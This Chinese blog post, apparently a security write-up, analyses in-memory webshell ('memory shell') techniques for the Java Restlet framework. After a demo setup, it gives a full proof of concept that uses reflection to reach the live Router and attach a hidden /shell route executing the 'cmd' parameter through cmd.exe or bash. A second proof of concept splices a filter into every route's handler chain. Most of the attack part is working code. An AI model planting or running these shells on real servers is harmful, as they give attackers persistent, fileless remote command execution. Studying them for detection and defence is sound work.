Restlet 框架内存马分析

Restlet 是一个开源的 Java 框架(https://restlet.talend.com/),专为创建 RESTful Web 服务和应用而设计。它提供了一种简单而灵活的方式来构建基于 REST 的应用程序,适合构建微服务、Web API 和移动后端。简单来说,Restlet就是一个用来搭建API服务的框架

前言

Restlet 是一个开源的 Java 框架(https://restlet.talend.com/),专为创建 RESTful Web 服务和应用而设计。它提供了一种简单而灵活的方式来构建基于 REST 的应用程序,适合构建微服务、Web API 和移动后端。简单来说,Restlet就是一个用来搭建API服务的框架

环境搭建

在pom.xml中导入依赖

<dependencies>
    <dependency>
        <groupId>org.restlet.jse</groupId>
        <artifactId>org.restlet</artifactId>
        <version>2.3.12</version>
    </dependency>
</dependencies>

Main.java

import org.restlet.Component;
import org.restlet.data.Protocol;

public class Main {
    public static void main(String[] args) throws Exception {
        // 创建一个组件
        Component component = new Component();
        component.getServers().add(Protocol.HTTP, 8080);
        // 将应用附加到组件
        component.getDefaultHost().attach(new MyApplication());
        // 启动组件
        component.start();
    }
}

MyCustomFilter.java

import org.restlet.Request;
import org.restlet.Response;
import org.restlet.routing.Filter;

public class MyCustomFilter extends Filter {
    @Override
    protected int beforeHandle(Request request, Response response) {
        // 在请求处理之前执行逻辑
        System.out.println("Before handling request: " + request.getResourceRef());
        return CONTINUE; // 继续处理请求
    }

    @Override
    protected void afterHandle(Request request, Response response) {
        // 在请求处理之后执行逻辑
        System.out.println("After handling request: " + request.getResourceRef());
    }
}

MyResource.java

import org.restlet.resource.Get;
import org.restlet.resource.ServerResource;

public class MyResource extends ServerResource {
    @Get
    public String represent() {
        return "Hello, World!";
    }
}

MyApplication.java

import org.restlet.Application;
import org.restlet.Restlet;
import org.restlet.routing.Router;

public class MyApplication extends Application {
    @Override
    public Restlet createInboundRoot() {
        Router router = new Router(getContext());
        // 创建过滤器实例
        MyCustomFilter myFilter = new MyCustomFilter();
        // 将过滤器应用到资源
        myFilter.setNext(MyResource.class); // 设置过滤器的下一个处理器为资源
        // 将过滤器添加到路由
        router.attach("/hello", myFilter);
        return router;
    }
}

只需要四个文件就可以启动一个简易的Restlet 项目,运行Main.java,访问127.0.0.1:8080/hello 正常说明搭建成功

image-20240831160302706.png

基本上,一个使用Restlet 框架构建的RESTful应用程序的大部分都需要使用两个基类:ApplicationResource

  • Application实例用于将URI映射到Resource实例上
  • Resource实例用于处理实际的业务逻辑

进入到MyApplication.java中可以看到具体实现过程,实际上资源是以处理器链的形式存在的,首先会经过配置的过滤器最后才到达资源处理器,这种灵活性使得用户能够根据具体的请求路径配置不同的处理逻辑

image-20240830154232350.png

Router内存马

首先修改一下MyResource类,当访问到/hello接口时就会调用到MemoryApplication类来注入内存马

image-20240830155435329.png

Router内存马就类似于Spring下的Controller类型的内存马,主要通过Router.attach()来实现添加一个URI映射到资源

关键是需要获取到环境上下文(Context)中router对象,再通过该对象来显式添加一个URI映射。通过官方文档知道使用Context ctx = Context.getCurrent()可以获取到当前上下文实例

下断点调试程序,通过getCurrent()得到上下文实例,最终发现所需要的Router对象保存在inboundRoot属性中

image-20240831111559445.png

利用反射获取到Router对象

Context ctx = Context.getCurrent();
Object obj = ctx.getClientDispatcher();

Field field = obj.getClass().getDeclaredField("childContext");
field.setAccessible(true);
obj = field.get(obj);

field = obj.getClass().getDeclaredField("child");
field.setAccessible(true);
obj = field.get(obj);

field = obj.getClass().getSuperclass().getDeclaredField("inboundRoot");
field.setAccessible(true);
obj = field.get(obj);

image-20240831112102972.png

得到Router对象之后,调用该对象里的attach()方法添加一个URI映射即可

// 完整POC
import org.restlet.Application;
import org.restlet.Context;
import org.restlet.Request;
import org.restlet.resource.Get;
import org.restlet.resource.ServerResource;
import org.restlet.routing.Router;

import java.lang.reflect.Field;

public class MemoryApplication extends Application {
    static {
        try {
            Context ctx = Context.getCurrent();
            Object obj = ctx.getClientDispatcher();

            Field field = obj.getClass().getDeclaredField("childContext");
            field.setAccessible(true);
            obj = field.get(obj);

            field = obj.getClass().getDeclaredField("child");
            field.setAccessible(true);
            obj = field.get(obj);

            field = obj.getClass().getSuperclass().getDeclaredField("inboundRoot");
            field.setAccessible(true);
            obj = field.get(obj);

            Router router = (Router) obj;
            router.attach("/shell", MemoryShell.class);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static class MemoryShell extends ServerResource{
        @Get
        public String represent() {
            Request request = getRequest();
            String param1 = (String) request.getResourceRef().getQueryAsForm().getFirstValue("cmd");

            try{
                String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
                        ? new String[]{"cmd.exe", "/c", param1}
                        : new String[]{"/bin/bash", "-c", param1};
                String output = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next();
                return output;
            } catch (Exception e){
                return e.toString();
            }
        }
    }
}

接着访问/hello接口来注入内存马,可以通过查询Router对象下routes属性来查看路由列表,可以看到已经成功注入

image-20240831112652835.png

当访问到/shell接口时就会调用到MemoryShell类下的方法执行命令

image-20240831112939794.png

Filter内存马

Filter的内存马构造相对来说会复杂一点,因为在Restlet 中不存在默认的全局过滤器,开发者必须显式添加自定义的过滤器

在测试环境中,设置了/hello接口的过滤器为MyCustomFilter,在该过滤器类的beforeHandle方法下断点,当请求到达资源类前会先经过该方法,通过查看调用栈可以知道前面并没有经过其他的过滤器

image-20240831121510904.png

当请求到达服务端时,程序会匹配routes下的路由规则,获取到next属性的对象,该对象即为下一个处理器

//当前处理器链
/hello -> MyCustomFilter -> MyResource.class

image-20240831122042611.png

所以如果需要添加Filter内存马的话,需要自行修改TemplateRoute对象的next属性,相当于在处理器链开头新插入一个元素

/hello -> MemortShellFilter -> MyCustomFilter -> MyResource.clas

通过下面的反射代码获取路由节点中next属性的内容,得到的obj就是原有的处理器链

Context ctx = Context.getCurrent();
Object obj = ctx.getClientDispatcher();

Field field = obj.getClass().getDeclaredField("childContext");
field.setAccessible(true);
obj = field.get(obj);

field = obj.getClass().getDeclaredField("child");
field.setAccessible(true);
obj = field.get(obj);

field = obj.getClass().getSuperclass().getDeclaredField("inboundRoot");
field.setAccessible(true);
obj = field.get(obj);

field = obj.getClass().getDeclaredField("routes");
field.setAccessible(true);
obj = field.get(obj);

// 这里的for循环是遍历routes列表下的所有路由,即为所有路由的处理链都添加一个新的过滤器
// 也可以根据自己的需要单独为某个路由添加
for (Object route: (RouteList) obj) {
    field = route.getClass().getSuperclass().getSuperclass().getDeclaredField("next");
    field.setAccessible(true);
    obj = field.get(route);       //得到原有的处理器链

    //将next的属性的值设置为我们自定义的filter处理器
    field.set(route, new FilterShell());        
}

下图就是修改了next属性后的,可以看到已经成功将next下一处理器设置为自定义了FilterShell对象

image-20240831123955065.png

接着将原有的处理链obj添加到FilterShell对象的next属性中就行,下面是添加前后的next属性的对比

image-20240831124218055.png

image-20240831161210262.png

// 完整POC
import org.restlet.Application;
import org.restlet.Context;
import org.restlet.Request;
import org.restlet.Response;
import org.restlet.routing.Filter;
import org.restlet.util.RouteList;

import java.lang.reflect.Field;

public class MemoryFilter extends Application {
    static {
        try {
            Context ctx = Context.getCurrent();
            Object obj = ctx.getClientDispatcher();

            Field field = obj.getClass().getDeclaredField("childContext");
            field.setAccessible(true);
            obj = field.get(obj);

            field = obj.getClass().getDeclaredField("child");
            field.setAccessible(true);
            obj = field.get(obj);

            field = obj.getClass().getSuperclass().getDeclaredField("inboundRoot");
            field.setAccessible(true);
            obj = field.get(obj);

            field = obj.getClass().getDeclaredField("routes");
            field.setAccessible(true);
            obj = field.get(obj);

            for (Object route: (RouteList) obj) {
                field = route.getClass().getSuperclass().getSuperclass().getDeclaredField("next");
                field.setAccessible(true);
                obj =field.get(route);

                field.set(route, new FilterShell());

                Object now_next = field.get(route);
                field = now_next.getClass().getSuperclass().getDeclaredField("next");
                field.setAccessible(true);
                field.set(now_next, obj);
            }

        } catch (Exception e){
            e.printStackTrace();
        }
    }

    public static class FilterShell extends Filter {
        @Override
        protected int beforeHandle(Request request, Response response) {
            // 在请求处理之前执行逻辑
            System.out.println("this is FilterShell");
            return CONTINUE; // 继续处理请求
        }
    }
}

测试

先修改MyResource类下的内容,接着访问/hello接口注入内存马,再次访问/hello接口可以看到控制台输出this is FilterShell说明注入成功

image-20240831124435618.png

image-20240831124359944.png

  • 发表于 2024-09-25 10:00:01
  • 阅读 ( 2136 )
  • 分类:代码审计

0 条评论

请先 登录 后评论
kakakakaxi
kakakakaxi

4 篇文章

站长统计